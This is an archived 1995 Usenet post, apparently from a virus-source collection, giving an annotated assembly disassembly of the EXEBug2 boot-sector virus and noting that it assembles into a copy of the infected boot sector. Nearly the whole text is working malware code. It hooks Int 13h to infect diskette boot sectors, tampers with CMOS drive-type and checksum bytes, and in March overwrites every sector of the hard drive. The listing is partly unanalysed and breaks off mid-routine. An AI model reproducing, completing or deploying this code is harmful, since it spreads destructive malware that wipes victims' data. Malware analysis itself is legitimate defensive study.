home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / e / exebug.asm / partbinary0 < prev   
Encoding:
Text File  |  1998-01-14  |  44.5 KB  |  661 lines

  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
  3.  
  4. From: danishm@iia.org ()
  5.  
  6. Newsgroups: alt.comp.virus
  7.  
  8. Subject: EXEBug
  9.  
  10. Date: 5 Feb 1995 22:08:52 GMT
  11.  
  12. Organization: International Internet Association.
  13.  
  14. Lines: 641
  15.  
  16. Message-ID: <3h3i9k$v4@ankh.iia.org>
  17.  
  18. NNTP-Posting-Host: iia.org
  19.  
  20. X-Newsreader: TIN [version 1.2 PL2]
  21.  
  22.  
  23.  
  24. Here is the EXEBug virus:
  25.  
  26.  
  27.  
  28. ;-------------------------------------------------------------------------
  29.  
  30. .286p                                   ; The EXEBUG2 Virus.  This virus
  31.  
  32. .model tiny                             ; infects diskette boot sectors and
  33.  
  34. .code                                   ; activates in March of any year,
  35.  
  36.                                         ; destroying the hard drive.  It
  37.  
  38.         ORG     0100h                   ; contains instructions for 80286+
  39.  
  40.                                         ; processors.
  41.  
  42. ;---------------------------------------;---------------------------------
  43.  
  44. ; As of Apr 21st, this disassembly is   ; Disassembled with Master Core
  45.  
  46. ; incomplete, as the test computer uses ;  Disassembler: IQ Software
  47.  
  48. ; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer:
  49.  
  50. ;                                       ;  Quaid Software Ltd.
  51.  
  52. ;-------------------------------------------------------------------------
  53.  
  54. ; We are using an origin of 100h, so that this can be assembled with TASM
  55.  
  56. ; and linked with tlink /t.  You will have a 512 byte .COM file which is
  57.  
  58. ; a byte-for-byte duplicate of the original boot sector. Note that 100h
  59.  
  60. ; must be subtracted from many of the offsets.
  61.  
  62. ;-------------------------------------------------------------------------
  63.  
  64.                                         ;Offset Opcode  |Comment
  65.  
  66.                                         ;---------------------------------
  67.  
  68. Boot_Start:                             ;00100  EB1C
  69.  
  70.                                         ;---------------------------------
  71.  
  72.         JMP     Short Change_RAM        ; Boot sectors always begin with
  73.  
  74.                                         ; a long jump (E9 XX XX) or a short
  75.  
  76.                                         ; jump (EB XX 90)
  77.  
  78.                                         ;---------------------------------
  79.  
  80.         NOP                             ;00102  90      |NOP for short jump
  81.  
  82. ;---------------------------------------;               |
  83.  
  84. ; Data in Code Area                     ;               |
  85.  
  86. ;---------------------------------------;               |
  87.  
  88. OEM     DB      "MSDOS5.0"              ;00103  4D53444F|OEM name
  89.  
  90. Byt_Sec DW      0200h                   ;0010B  0002    |Bytes per sector
  91.  
  92. Sct_AlU DB      02h                     ;0010D  02      |Sectors per
  93.  
  94.                                         ;               | allocation unit
  95.  
  96. RsvdSct DW      0001h                   ;0010E  0100    |Reserved sectors
  97.  
  98. NumFATs DB      02h                     ;00110  02      |Number of FATs
  99.  
  100. RootSiz DW      0070h                   ;00111  7000    |Number of root dir
  101.  
  102.                                         ;               | entries (112)
  103.  
  104. TotSect DW      02D0h                   ;00113  D002    |Total sectors in
  105.  
  106.                                         ;               | volume (1440)
  107.  
  108. MedDesc DB      0FDh                    ;00115  FD      |Media descriptor
  109.  
  110.                                         ;               | byte:
  111.  
  112.                                         ;---------------------------------
  113.  
  114.                                         ;  F8 = hard disk
  115.  
  116.                                         ;  F0 = 3½" 18 sector
  117.  
  118.                                         ;  F9 = 3½"  9 sector
  119.  
  120.                                         ;  F9 = 5¼" 15 sector
  121.  
  122.                                         ;  FC = 5¼" SS 9 sector
  123.  
  124.                                         ;  FD = 5¼" DS 9 sector
  125.  
  126.                                         ;  FE = 5¼" SS 8 sector
  127.  
  128.                                         ;  FF = 5¼: DS 8 sector
  129.  
  130.                                         ;---------------------------------
  131.  
  132. FATSect DW      0002h                   ;00116  0200    |Sectors per FAT
  133.  
  134. Sct_Trk DW      0009h                   ;00118  0900    |Sectors per track
  135.  
  136. NumHead DW      0002h                   ;0011A  0200    |Number of heads
  137.  
  138. aDrvNum DW      0000h                   ;0011C  0000    |Drive number (0=A:)
  139.  
  140. ;---------------------------------------;---------------------------------
  141.  
  142.                                         ;               |
  143.  
  144. Change_RAM:                             ;               |
  145.  
  146.                                         ;               |
  147.  
  148.         XOR     AX,AX                   ;0011E  33C0    |Zero register
  149.  
  150.         MOV     DS,AX                   ;00120  8ED8    |DS = 0000
  151.  
  152.         MOV     DI,AX                   ;00122  8BF8    |DI = 0000
  153.  
  154.         MOV     SS,AX                   ;00124  8ED0    |SS = 0000
  155.  
  156.         MOV     SP,7C00h                ;00126  BC007C  |SP = 7C00
  157.  
  158.                                         ;---------------------------------
  159.  
  160.                                         ; Get RAM size (usually 64*10 K)
  161.  
  162.                                         ; and put it in register AX.
  163.  
  164. Get_RAM_Size:                           ;---------------------------------
  165.  
  166.                                         ;               |
  167.  
  168.         MOV     AX,Word Ptr DS:[0413h]  ;00129  A11304  |0000:0413 holds
  169.  
  170.                                         ;               | RAM size
  171.  
  172.         MOV     CX,0106h                ;0012C  B90601  |This does two things:
  173.  
  174.                                         ;               |it sets up a MOVSW,
  175.  
  176.                                         ;               |and it puts a 6 in
  177.  
  178.                                         ;               |CL for the SAL,CL
  179.  
  180.         DEC     AX                      ;0012F  48      |Steal 1K of RAM
  181.  
  182.                                         ;               | (decrease RAM size)
  183.  
  184.         MOV     SI,SP                   ;00130  8BF4    |SI is 7C00. Use to
  185.  
  186.                                         ;               | move boot sector
  187.  
  188.                                         ;               | in Copy_Boot routine.
  189.  
  190.                                         ;---------------------------------
  191.  
  192.                                         ; RAM size is now 1K less; put it
  193.  
  194.                                         ; in DS:0413h (RAMsize)
  195.  
  196. Put_RAM_Size:                           ;---------------------------------
  197.  
  198.                                         ;               |
  199.  
  200.         MOV     Word Ptr DS:[0413h],AX  ;00132  A31304  |Put the new RAM
  201.  
  202.                                         ;               | size back in [0413]
  203.  
  204.         SAL     AX,CL                   ;00135  D3E0    |Convert to paragraphs
  205.  
  206. ;-------------------------------------------------------------------------
  207.  
  208. ; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K.
  209.  
  210. ; Next operation exchanges this with the old Int 13 segment stored at 0000:004E.
  211.  
  212. ;-------------------------------------------------------------------------
  213.  
  214.                                         ;               |
  215.  
  216.         MOV     ES,AX                   ;00137  8EC0    |ES = new area SEGMENT
  217.  
  218.         PUSH    AX                      ;00139  50      |Save SEGMENT address
  219.  
  220.                                         ;               | on stack. Jump here
  221.  
  222.                                         ;               | at offset 0152.
  223.  
  224.         XCHG    AX,DS:[004Eh]           ;0013A  87064E00|Exchange new and old
  225.  
  226.                                         ;               | SEGMENTS
  227.  
  228.                                         ;---------------------------------
  229.  
  230.  
  231.  
  232.         MOV     Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX
  233.  
  234.  
  235.  
  236.                                         ;---------------------------------
  237.  
  238.                                         ;0013E  A3B87C  |This really should be:
  239.  
  240.                                         ;               |[7C00h+offset I13_Seg],
  241.  
  242.                                         ;               |but we use an ORG of
  243.  
  244.                                         ;               |100h here.
  245.  
  246.                                         ;      <Store old SEGMENT at 7CB8>
  247.  
  248.                                         ;---------------------------------
  249.  
  250.  
  251.  
  252.         MOV     AX,offset New_Int13_ISR - 100h
  253.  
  254.  
  255.  
  256.                                         ;---------------------------------
  257.  
  258.                                         ;00141  B83201  |Likewise the offset
  259.  
  260.                                         ;               |of the new Int 13
  261.  
  262.                                         ;               |service routine is
  263.  
  264.                                         ;               |decremented by 100h
  265.  
  266. ;------------------------------------------------------------------------
  267.  
  268. ; AX now holds the OFFSET of the new Int 13 service routine, which is
  269.  
  270. ; in our code at offset 232h.  Next operation exchanges this with the
  271.  
  272. ; the offset stored at 0000:004C.
  273.  
  274. ;------------------------------------------------------------------------
  275.  
  276.                                         ;               |
  277.  
  278.         XCHG    AX,DS:[004Ch]           ;00144  87064C00|Exchange new and old
  279.  
  280.                                         ;               | OFFSETS
  281.  
  282.                                         ;---------------------------------
  283.  
  284.  
  285.  
  286.         MOV     Word Ptr DS:[7C00h+offset I13_Off - 100h],AX
  287.  
  288.  
  289.  
  290.                                         ;---------------------------------
  291.  
  292.                                         ;00148  A3B67C  |Again, decrement by
  293.  
  294.                                         ;               | 100h to compensate
  295.  
  296.                                         ;               | for ORG 100h
  297.  
  298.                                         ;      <Store old OFFSET at 7CB6>
  299.  
  300.                                         ;---------------------------------
  301.  
  302.  
  303.  
  304.         MOV     AX,[offset Activation - 100h]
  305.  
  306.  
  307.  
  308.                                         ;---------------------------------
  309.  
  310.                                         ;0014B  B89900  |Move offset of
  311.  
  312.                                         ;               |Activation routine
  313.  
  314.                                         ;               |to AX.
  315.  
  316.         PUSH    AX                      ;0014E  50      |Push the Activation
  317.  
  318.                                         ;               |address, and then
  319.  
  320.                                         ;               |use that as the
  321.  
  322.                                         ;               |OFFSET when we RETF
  323.  
  324.                                         ;               |at offset 0152.
  325.  
  326. Copy_Boot:                              ;---------------------------------
  327.  
  328.                                         ;               |
  329.  
  330.         CLD                             ;0014F  FC      |movsb will increment
  331.  
  332.                                         ;               |pointers cx=0106h
  333.  
  334.                                         ;               |ds=0000h sp=7C00h
  335.  
  336.                                         ;               |si=7C00h di=0000h
  337.  
  338.                                         ;               |Repeat until Zero
  339.  
  340.                                         ;               |Flag=0 or CX Times
  341.  
  342.                                         ;               |
  343.  
  344.         REP     MOVSW                   ;00150  F3A5    |MOVE DS:SI TO ES:DI
  345.  
  346.                                         ;---------------------------------
  347.  
  348.                                         ; Move virus up to the memory we have
  349.  
  350.                                         ; allocated, and set the INT handler.
  351.  
  352.                                         ;---------------------------------
  353.  
  354.                                         ;               |
  355.  
  356.         RETF                            ;00152  CB      |The segment and
  357.  
  358.                                         ;               |offset of the
  359.  
  360.                                         ;               |Activation routine
  361.  
  362.                                         ;               |were pushed on the
  363.  
  364.                                         ;               |stack previously, so
  365.  
  366.                                         ;               |a RETF jumps there
  367.  
  368.                                         ;               |(at top of memory)
  369.  
  370.                                         ;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION
  371.  
  372. ;---------------------------------------;---------------------------------
  373.  
  374.                                         ;               |
  375.  
  376.         DB      04h                     ;00153  04      |
  377.  
  378. Drive   DB      20h                     ;00154  20      |CMOS drive type (AH),
  379.  
  380.                                         ;               | is stored here.
  381.  
  382. ChkSum  DW      046Ch                   ;00155  6C04    |CMOS checksum (DX),
  383.  
  384.                                         ;               | is stored here.
  385.  
  386. Install DB      01h                     ;00157  01      |This byte is checked
  387.  
  388.                                         ;               | at offset 294. It is
  389.  
  390.                                         ;               | used for the value
  391.  
  392.                                         ;               | of CX when the boot
  393.  
  394.                                         ;               | record is written
  395.  
  396.                                         ;               | (starting sector)
  397.  
  398.                                         ;               | Values are 1 or 11h.
  399.  
  400. ;-------------------------------------------------------------------------
  401.  
  402. ; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed,
  403.  
  404. ; as I could not get an infection on the test computer.
  405.  
  406. ;-------------------------------------------------------------------------
  407.  
  408.         SUB     [BX+SI],CH              ;00158  2828    |
  409.  
  410.         ADD     [BX+DI],AL              ;0015A  0001    |
  411.  
  412.         ADD     AL,[BP+1Eh]             ;0015C  02461E
  413.  
  414.                                         ;  ADD AL,[BP+offset Change_RAM-100h]
  415.  
  416.         PUSH    CX                      ;0015F  51      |
  417.  
  418.         MOV     DL,65h                  ;00160  B265    |
  419.  
  420.         MOV     DI,DX                   ;00162  8BFA    |
  421.  
  422.         DEC     AL                      ;00164  FEC8    |
  423.  
  424.         STOSW                           ;00166  AB      |STORE Word STRING
  425.  
  426.                                         ;               | FROM AX
  427.  
  428.         ADD     DI,+04h                 ;00167  83C704  |
  429.  
  430.         XOR     AL,0C0h                 ;0016A  34C0    |
  431.  
  432.         STOSW                           ;0016C  AB      |
  433.  
  434.         MOV     CL,0Bh                  ;0016D  B10B    |cl=0Bh dl=65h
  435.  
  436.         REP     STOSB                   ;0016F  F3AA    |STORE 0Bh Bytes
  437.  
  438.                                         ;               | STRING FROM AL
  439.  
  440.         MOV     CL,13h                  ;00171  B113    |
  441.  
  442.         MOV     BH,03h                  ;00173  B703    |
  443.  
  444.         CALL    $-170h                  ;00175  E88DFE  |This calls offset
  445.  
  446.                                         ;               |7B05 in this segment.
  447.  
  448.         MOV     AH,13h                  ;00178  B413    |
  449.  
  450.         INT     2Fh                     ;0017A  CD2F    |Get & set DOS disk
  451.  
  452.                                         ;               |int handler
  453.  
  454.                                         ;               |ds:dx=new handler,
  455.  
  456.                                         ;               |es:bx=old
  457.  
  458.         MOV     CS:[01B8h],DS           ;0017C  2E8C1E  |
  459.  
  460.                                         ;       B801    |
  461.  
  462.                                         ;               |
  463.  
  464.         MOV     CX,DX                   ;00181  8BCA    |
  465.  
  466.         INT     2Fh                     ;00183  CD2F    |Set it again
  467.  
  468.         MOV     DS:[01B6h],CX           ;00185  890EB601|
  469.  
  470.         CMP     CL,32h                  ;00189  80F932  |
  471.  
  472.         JZ      H0000_0198              ;0018C  740A    |Return if CL=32h
  473.  
  474.         MOV     CX,CS                   ;0018E  8CC9    |
  475.  
  476.         ADD     CX,+10h                 ;00190  83C110  |
  477.  
  478.         PUSH    CX                      ;00193  51      |
  479.  
  480.         MOV     AX,00FDh                ;00194  B8FD00  |
  481.  
  482.         PUSH    AX                      ;00197  50      |
  483.  
  484.                                         ;               |
  485.  
  486. H0000_0198:                             ;---------------------------------
  487.  
  488.                                         ;               |
  489.  
  490.         RETF                            ;00198  CB      |
  491.  
  492. ;---------------------------------------;---------------------------------
  493.  
  494.                                         ;               |
  495.  
  496. Activation:                             ;               |
  497.  
  498.                                         ;               |
  499.  
  500.         CALL    Main_Routine            ;00199  E86800  |
  501.  
  502.         MOV     AH,04h                  ;0019C  B404    |AH=4 (get date)
  503.  
  504.         INT     1Ah                     ;0019E  CD1A    |Get date
  505.  
  506.                                         ;               |CX=year, DX=mon/day
  507.  
  508.         CMP     DH,03h                  ;001A0  80FE03  |Is it month #3
  509.  
  510.         JZ      Damage                  ;001A3  7402    |If it is March,
  511.  
  512.                                         ;               | do damage
  513.  
  514.         INT     19h                     ;001A5  CD19    |Otherwise reboot
  515.  
  516.                                         ;               | with virus resident
  517.  
  518.                                         ;               | and Int 13 hooked
  519.  
  520. ;---------------------------------------;---------------------------------
  521.  
  522.                                         ; Set up Int 13 call from the new
  523.  
  524. Damage:                                 ;  ISR at I13_Seg:I13_Off.
  525.  
  526.                                         ;---------------------------------
  527.  
  528.         MOV     AL,0FFh                 ;001A7  B0FF    |
  529.  
  530.         OUT     21h,AL                  ;001A9  E621    |Turn off IRQs
  531.  
  532.         MOV     DX,0080h                ;001AB  BA8000  |DH = head # (0),
  533.  
  534.                                         ;               |DL = drive #
  535.  
  536.                                         ;               |  (+80 for hd)
  537.  
  538.         MOV     CX,0101h                ;001AE  B90101  |CH = cylinder #,
  539.  
  540.                                         ;               |CL = sector #
  541.  
  542. Trash_HardDrive:                        ;---------------------------------
  543.  
  544.                                         ;               |
  545.  
  546.         MOV     AX,0311h                ;001B1  B81103  |AH = function 03
  547.  
  548.                                         ;               | (write sectors)
  549.  
  550.                                         ;               |AL = # of sectors
  551.  
  552.         PUSHF                           ;001B4  9C      |Push flags: normally
  553.  
  554.                                         ;               | done prior to
  555.  
  556.                                         ;               | interrupt.
  557.  
  558. FarCall DB      9Ah                     ;001B5  9A      |Call the Int 13
  559.  
  560.                                         ;               | service routine
  561.  
  562. I13_Off DW      0AB1Bh                  ;001B6  1BAB    |(real) Int 13 offset
  563.  
  564. I13_Seg DW      0F000h                  ;001B8  00F0    |(real) Int 13 segment
  565.  
  566.         INC     DH                      ;001BA  FEC6    |Next head
  567.  
  568.         AND     DH,07h                  ;001BC  80E607  |Test bits 0-3 of DH,
  569.  
  570.                                         ;               | clear 4-7
  571.  
  572.         JNZ     Trash_HardDrive         ;001BF  75F0    |If #head > 7
  573.  
  574.                                         ;               |continue, else trash
  575.  
  576.         INC     CH                      ;001C1  FEC5    |Next cylinder
  577.  
  578.         JNZ     Trash_HardDrive         ;001C3  75EC    |If #cylinder > 255
  579.  
  580.                                         ;               | continue, else keep
  581.  
  582.                                         ;               | on trashing.
  583.  
  584.         ADD     CL,40h                  ;001C5  80C140  |Set bits 6 and 7 of
  585.  
  586.                                         ;               | CL, enabling the
  587.  
  588.                                         ;               | entire drive to be
  589.  
  590.                                         ;               | overwritten (or at
  591.  
  592.                                         ;               |least 1024 cylinders)
  593.  
  594.         JMP     Short Trash_HardDrive   ;001C8  EBE7    |Only way out of this
  595.  
  596.                                         ;               | is a disk error, or
  597.  
  598.                                         ;               | power off.
  599.  
  600. ;--------------------------------------------------------------------------
  601.  
  602.                                         ;At this point, it is important to
  603.  
  604. Change_CMOS:                            ;know what the contents of DX is.
  605.  
  606.                                         ; CMOS checksums are stored at
  607.  
  608.                                         ; DS:0053 and DS:0055
  609.  
  610. ;--------------------------------------------------------------------------
  611.  
  612.         MOV     AL,10h                  ;001CA  B010    |Diskette type
  613.  
  614.         CALL    CMOS_Read_Write         ;001CC  E80700  | SET DISKETTE TYPE
  615.  
  616.         MOV     AL,2Fh                  ;001CF  B02F    |Hi checksum byte
  617.  
  618.         CALL    CMOS_Read_Write         ;001D1  E80200  | SET CHECKSUM: set
  619.  
  620.                                         ;               | to zero or restore
  621.  
  622.         MOV     AL,2Eh                  ;001D4  B02E    |Low checksum byte
  623.  
  624.                                         ;               | SET CHECKSUM: set
  625.  
  626.                                         ;               | to zero or restore
  627.  
  628. CMOS_Read_Write:                        ;---------------------------------
  629.  
  630.                                         ;               |
  631.  
  632.         OUT     70h,AL                  ;001D6  E670    |Tell CMOS address
  633.  
  634.                                         ;               |  to read (in AL)
  635.  
  636.         XCHG    AH,DL                   ;001D8  86E2    |1st call: AH=DL=00
  637.  
  638.                                         ;               |2nd call: AH=DL=00
  639.  
  640.                                         ;               |3rd call: AH=20,DL=00
  641.  
  642.                                         ;               |4th call: AH=5F,DL=00
  643.  
  644.                                         ;               |5th call: AH=02,DL=5F
  645.  
  646.                                         ;               |6th call: AH=00,DL=02
  647.  
  648.                                         ;               |
  649.  
  650.         XCHG    DL,DH                   ;001DA  86D6    |1st call: DH=DL=00
  651.  
  652.                                         ;               |2nd call: DH=00,DL=20
  653.  
  654.                                         ;               |3rd call: DH=00,DL=7F
  655.  
  656.                                         ;               |4th call: DH=00,DL=02
  657.  
  658.                                         ;               |5th call: DH=5F,DL=00
  659.  
  660.                                         ;               |6th call: DH=02,DL=00
  661.  
  662.                                         ;               |
  663.  
  664.         IN      AL,71h                  ;001DC  E471    |Read CMOS to AL
  665.  
  666.                                         ;               |1st call: AL=20
  667.  
  668.                                         ;               |2nd call: AL=7F
  669.  
  670.                                         ;               |3rd call: AL=02
  671.  
  672.                                         ;               |4th call: AL=00
  673.  
  674.                                         ;               |5th call: AL=00
  675.  
  676.                                         ;               |6th call: AL=00
  677.  
  678.                                         ;               |
  679.  
  680.         XCHG    DH,AL                   ;001DE  86F0    |Trade AL <-> DH
  681.  
  682.                                         ;               |1st call: DH=20,AL=00
  683.  
  684.                                         ;               |2nd call: DH=7F,AL=00
  685.  
  686.                                         ;               |3rd call: DH=02,AL=00
  687.  
  688.                                         ;               |4th call: DH=00,AL=00
  689.  
  690.                                         ;               |5th call: DH=00,AL=5F
  691.  
  692.                                         ;               |6th call: DH=00,AL=02
  693.  
  694.                                         ;               |
  695.  
  696.         OUT     71h,AL                  ;001E0  E671    |Write contents of
  697.  
  698.                                         ;               |  AL to CMOS
  699.  
  700.                                         ;               |1st call: AL=00
  701.  
  702.                                         ;               |2nd call: AL=00
  703.  
  704.                                         ;               |3rd call: AL=00
  705.  
  706.                                         ;               |4th call: AL=00
  707.  
  708.                                         ;               |5th call: AL=5F
  709.  
  710.                                         ;               |6th call: AL=02
  711.  
  712.                                         ;               |
  713.  
  714.         RET                             ;001E2  C3      |Return to Call_CMOS
  715.  
  716. ;---------------------------------------;---------------------------------
  717.  
  718.                                         ;               |
  719.  
  720. Setup_Int13:                            ;               |
  721.  
  722.                                         ;               |
  723.  
  724.         MOV     AX,0301h                ;001E3  B80103  |Function #3: write
  725.  
  726.                                         ;               |  (1) sector
  727.  
  728. Real_Int13_2:                           ;---------------------------------
  729.  
  730.                                         ;               |
  731.  
  732.         CALL    Restore_CMOS            ;001E6  E80500  |Restore original CMOS
  733.  
  734.         PUSHF                           ;001E9  9C      |Prepare for interrupt
  735.  
  736.                                         ;---------------------------------
  737.  
  738.                                                         ;DO THE INTERRUPT 13
  739.  
  740.         CALL    DWord Ptr DS:[I13_Off-100h]             ;Subtract 100h from
  741.  
  742.                                                         ; offset of old Int 13
  743.  
  744.                                         ;001EA  FF1EB600| vector and then call
  745.  
  746.                                         ;               | it as a DWord (i.e.
  747.  
  748.                                         ;               | as Segment:Offset)
  749.  
  750.                                         ;               | Standard Int 13
  751.  
  752.                                         ;               | resets and repeats
  753.  
  754.                                         ;               | 3 times if carry
  755.  
  756.                                         ;               | flag not clear.
  757.  
  758. Restore_CMOS:                           ;---------------------------------
  759.  
  760.                                         ;               |
  761.  
  762.         CALL    Xchg_Old_New            ;001EE  E80300  |
  763.  
  764.         CALL    Change_CMOS             ;001F1  E8D6FF  |
  765.  
  766.                                         ;               |
  767.  
  768. Xchg_Old_New:                           ;---------------------------------
  769.  
  770.                                         ;               |
  771.  
  772.         XCHG    AX,DS:[0053h]           ;001F4  87065300|
  773.  
  774.         XCHG    DX,DS:[0055h]           ;001F8  87165500|
  775.  
  776.         RET                             ;001FC  C3      |
  777.  
  778. ;---------------------------------------;---------------------------------
  779.  
  780.                                         ;               |
  781.  
  782. Jump_From_Boot:                         ;               |
  783.  
  784.                                         ;               |
  785.  
  786.         CALL    Main_Routine            ;001FD  E80400  |
  787.  
  788.                                         ; CALL 0204h    |
  789.  
  790.                                         ;               |
  791.  
  792.         CALL    Restore_CMOS            ;00200  E8EBFF  |Call 01EEh
  793.  
  794.         ;-------------------------------;---------------------------------
  795.  
  796.         ;RETF                           ;               |This must be assembled
  797.  
  798.                                         ;               |as DB 0CBh, otherwise
  799.  
  800.         DB      0CBh                    ;00203  CB      |the assembler emits
  801.  
  802.                                         ;               |CA CB 00.
  803.  
  804. ;---------------------------------------;---------------------------------
  805.  
  806.                                         ;               |Diddle CMOS. Read
  807.  
  808. Main_Routine:                           ;00204          |boot with new Int13.
  809.  
  810.                                         ;               |
  811.  
  812. ;-------------------------------------------------------------------------
  813.  
  814. ;                                                       |
  815.  
  816. ; (64 Bytes)    FFEEDDCC BBAA9988 77665544 33221100     |This is the original
  817.  
  818. ;               -------- -------- -------- --------     |CMOS setting.
  819.  
  820. ; CMOS IS NOW:  00008050 02269303 28000016 00200027     |
  821.  
  822. ;               00000000 0000310D 80028003 00F00020  <--|diskette drive(s) type
  823.  
  824. ; Checksum -->  7F021A04 01000009 04000000 00000000     |Bits 7-4: drive 0
  825.  
  826. ;  is 7F02      00000001 01000000 00000000 80190D80     |Bits 3-0: drive 1
  827.  
  828. ;                                                       |  0000b = no drive
  829.  
  830. ;                                                       |  0001b = 360K
  831.  
  832. ;                                                       |  0010b = 1.2 MB
  833.  
  834. ;                                                       |  0011b = 720K
  835.  
  836. ;                                                       |  0100b = 1.44 MB
  837.  
  838. ;                                                       |so in this case there
  839.  
  840. ;                                                       |is one 1.2 meg drive
  841.  
  842. ;                                                       |and no 'B' drive
  843.  
  844. ;-------------------------------------------------------------------------
  845.  
  846.                                         ;               |Put address of
  847.  
  848. CMOS_0:                                 ;               | hidden memory on
  849.  
  850.         PUSH    CS                      ;00204  0E      | stack and then pop
  851.  
  852.         POP     DS                      ;00205  1F      | it into DS.
  853.  
  854.         MOV     ES,CX                   ;00206  8EC1    |Zero ES
  855.  
  856.         CALL    Change_CMOS             ;00208  E8BFFF  |AX=0099,DX=0000
  857.  
  858. ;-------------------------------------------------------------------------
  859.  
  860. ;
  861.  
  862. ; CMOS CHANGED: 00008050 02269303 28000017 00420002
  863.  
  864. ;               00000000 0000310D 80028003 00F00000 <-NOTE CHANGE
  865.  
  866. ; NOTE CHANGE-> 00001A04 01000009 04000000 00000000    No drive
  867.  
  868. ;  No checksum  00000001 01000000 00000000 80190D80
  869.  
  870. ;
  871.  
  872. ;-------------------------------------------------------------------------
  873.  
  874.                                         ;               |Now the drive type
  875.  
  876. CMOS_1:                                 ;               | and checksum are 00
  877.  
  878.         MOV     AL,AH                   ;0020B  8AC4    |AX=2020
  879.  
  880.         AND     AL,0F0h                 ;0020D  24F0    |AX=2020
  881.  
  882.         JZ      Calc_ChkSum             ;0020F  7408    |Is zero flag set?
  883.  
  884.         MOV     DS:[0055h],DX           ;00211  89165500|Store checksum in
  885.  
  886.                                         ;               | DS:[0055]
  887.  
  888.         MOV     DS:[0054h],AH           ;00215  88265400|Store drive type
  889.  
  890.                                         ;               | in DS:[0054]
  891.  
  892. Calc_ChkSum:                            ;---------------------------------
  893.  
  894.                                         ;               |
  895.  
  896.         AND     AH,0Fh                  ;00219  80E40F  |Clears high bits
  897.  
  898.                                         ;               | AX=0020
  899.  
  900.         SUB     DL,AL                   ;0021C  2AD0    |DX=025F
  901.  
  902.         SBB     DH,00h                  ;0021E  80DE00  |DX=025F
  903.  
  904.         CALL    Change_CMOS             ;00221  E8A6FF  |AX=0020, DX=025F
  905.  
  906. ;-------------------------------------------------------------------------
  907.  
  908. ;
  909.  
  910. ; CMOS CHANGED: 00008050 02269303 28000018 00030041
  911.  
  912. ;               00000000 0000310D 80028003 00F00000
  913.  
  914. ; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000
  915.  
  916. ;               00000001 01000000 00000000 80190D80
  917.  
  918. ;
  919.  
  920. ;-------------------------------------------------------------------------
  921.  
  922.                                         ;               |
  923.  
  924. CMOS_2:                                 ;               |
  925.  
  926.         MOV     DL,80h                  ;00224  B280    | DL = 80
  927.  
  928.                                         ;               |
  929.  
  930. Read_Boot:                              ;---------------------------------
  931.  
  932.                                         ;               |
  933.  
  934.         MOV     CX,0001h                ;00226  B90100  | CX = 0001
  935.  
  936.         MOV     DH,CH                   ;00229  8AF5    | DH = 00
  937.  
  938.         POP     AX                      ;0022B  58      | Pop return offset
  939.  
  940.         PUSHF                           ;0022C  9C      | Push flags
  941.  
  942.         PUSH    CS                      ;0022D  0E      | Save segment
  943.  
  944.         PUSH    AX                      ;0022E  50      | Save offset
  945.  
  946.         MOV     AX,0201h                ;0022F  B80102  | AX = 0201 (read
  947.  
  948.                                         ;               |      one sector)
  949.  
  950.                                         ;
  951.  
  952. New_Int13_ISR:                          ;___ New Int 13 Service Routine ___
  953.  
  954.                                         ;
  955.  
  956.         CLD                             ;00232  FC      |Clear direction flag
  957.  
  958.         PUSH    DS                      ;00233  1E      |
  959.  
  960.         PUSH    SI                      ;00234  56      |
  961.  
  962.         PUSH    DI                      ;00235  57      |Save some registers
  963.  
  964.         PUSH    CX                      ;00236  51      |
  965.  
  966.         PUSH    AX                      ;00237  50      |
  967.  
  968.         PUSH    CS                      ;00238  0E      |
  969.  
  970.         POP     DS                      ;00239  1F      |DS = CS
  971.  
  972.         CMP     AH,03h                  ;0023A  80FC03  |Is it a function 3
  973.  
  974.                                         ;               | (write disk) call?
  975.  
  976.         JNZ     Real_Int13_1            ;0023D  7521    |No, so do real Int 13
  977.  
  978.         CMP     Byte Ptr ES:[BX],4Dh    ;0023F  26803F4D|Yes, but is ES:[BX]=4D?
  979.  
  980.         JNZ     Real_Int13_1            ;00243  751B    |No, so do real Int13
  981.  
  982.         OR      AH,DL                   ;00245  0AE2    |Yes, but which drive?
  983.  
  984.         CMP     CL,AH                   ;00247  3ACC    |Is drive OK??
  985.  
  986.         JNZ     Real_Int13_1            ;00249  7515    |No, so do real Int13
  987.  
  988.         MOV     DI,BX                   ;0024B  8BFB    |Yes, buffer is [4D]
  989.  
  990.         MOV     SI,00A7h                ;0024D  BEA700  |
  991.  
  992.         MOV     CX,01FEh                ;00250  B9FE01  |Going to move 1FE words
  993.  
  994.         AND     DL,DL                   ;00253  22D2    |Is it drive #0 (A:)?
  995.  
  996.         JNZ     H0000_025E              ;00255  7507    |No, so move 'em
  997.  
  998.         MOV     SI,0002h                ;00257  BE0200  |Yes, SI = 0002
  999.  
  1000.         MOV     AX,5CEBh                ;0025A  B8EB5C  |Move value in AX
  1001.  
  1002.         STOSW                           ;0025D  AB      | to ES:[4D]
  1003.  
  1004.                                         ;               |
  1005.  
  1006. H0000_025E:                             ;---------------------------------
  1007.  
  1008.                                         ;               |cx=01FEh,ds=0000h
  1009.  
  1010.                                         ;               |si=0002h Move 1FE
  1011.  
  1012.         REP     MOVSB                   ;               | words from DS:SI
  1013.  
  1014.                                         ;0025E  F3A4    | to ES:DI
  1015.  
  1016. Real_Int13_1:                           ;---------------------------------
  1017.  
  1018.                                         ;               |
  1019.  
  1020.         POP     AX                      ;00260  58      |Restore registers
  1021.  
  1022.         POP     CX                      ;00261  59      |
  1023.  
  1024.         POP     DI                      ;00262  5F      |
  1025.  
  1026.         MOV     SI,AX                   ;00263  8BF0    |SI=function,subfn
  1027.  
  1028.         CALL    Real_Int13_2            ;00265  E87EFF  |When done go to
  1029.  
  1030.                                         ;               | Return_here.
  1031.  
  1032. Return_Here:                            ;---------------------------------
  1033.  
  1034.                                         ;               |
  1035.  
  1036.         JB      Int13_Error             ;00268  721D    |If Int 13 returned
  1037.  
  1038.                                         ;               | error go to err rtn
  1039.  
  1040.         PUSH    DI                      ;0026A  57      |Save registers
  1041.  
  1042.         PUSH    AX                      ;0026B  50      |
  1043.  
  1044.         OR      DH,DH                   ;0026C  0AF6    |Was drive A: target?
  1045.  
